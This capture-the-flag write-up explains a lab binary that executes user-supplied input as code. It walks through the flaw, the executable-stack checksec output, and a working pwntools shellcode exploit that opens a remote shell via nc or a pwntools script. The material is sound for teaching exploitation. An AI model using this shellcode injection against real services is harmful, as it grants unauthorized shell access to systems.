Summary
Third challenge: instead of overwriting a specific value, the entire contents of a buffer are executed as machine code here. By sending your own shellcode, you get a full shell on the target.
Reference code
int main(){
setup();
banner();
char *buf[128];
puts("\nGive me your shell, and I will execute it: ");
read(0,buf,sizeof(buf));
puts("\nExecuting Spell...\n");
( ( void (*) () ) buf) ();
}
Vulnerability
char *buf[128] is not an array of 128 chars, but an array of 128 pointers (8 bytes each on x86-64) — so 1024 bytes of available space in total. read(0, buf, sizeof(buf)) reads up to 1024 bytes of raw input into that buffer, without any validation of the contents.
The last line, ((void (*)()) buf)(), casts the address of buf to a function pointer and then calls it. The CPU makes no distinction between "data" and "code" — whatever sits at that memory address is interpreted and executed as machine instructions. Because the contents of buf are fully controlled by the attacker, arbitrary code can be executed.
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
Stack: Executable
RWX: Has RWX segments
PIE: No PIE (0x400000)
Crucial here: the stack is executable and has RWX segments. Normally NX/DEP prevents code on the stack from being executed, but that's explicitly disabled here (presumably compiled with -z execstack). As a result no NX bypass (such as ROP to mprotect()) is needed — running shellcode directly on the stack just works.
Exploit
Generate shellcode with pwntools (execve("/bin/sh", NULL, NULL)):
python3 -c "
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
import sys
sys.stdout.buffer.write(asm(shellcraft.sh()))
" > shellcode.bin
Send it to the service and stay interactive so you can type shell commands afterwards:
cat shellcode.bin - | nc <target-ip> 9005
Or directly with pwntools:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
p = remote('<target-ip>', 9005)
p.recvuntil(b'execute it: ')
p.send(asm(shellcraft.sh()))
p.interactive()
Once connected, just type shell commands (often without a visible prompt):
cat flag.txt
Why this works
read()writes the shellcode bytes straight intobuf, which sits on the stack.((void(*)()) buf)()makes the instruction pointer (rip) jump to the start ofbuf.- Because the stack is executable, the CPU simply executes the bytes in
bufas machine instructions. - The shellcode used (
shellcraft.sh()) makes anexecve("/bin/sh", NULL, NULL)syscall, which replaces the process with a shell. Because stdin/stdout are still thencconnection, that shell talks directly to the attacker.
Difference from TryOverFlowMe2
In the previous challenge a specific value in a specific variable was overwritten to trigger an existing code path (an if check). Here no control-flow manipulation is needed — the program itself executes arbitrary, attacker-controlled memory. That makes this fundamentally more powerful: instead of choosing between paths the program already contains, entirely arbitrary code (in this case: a shell) can be run.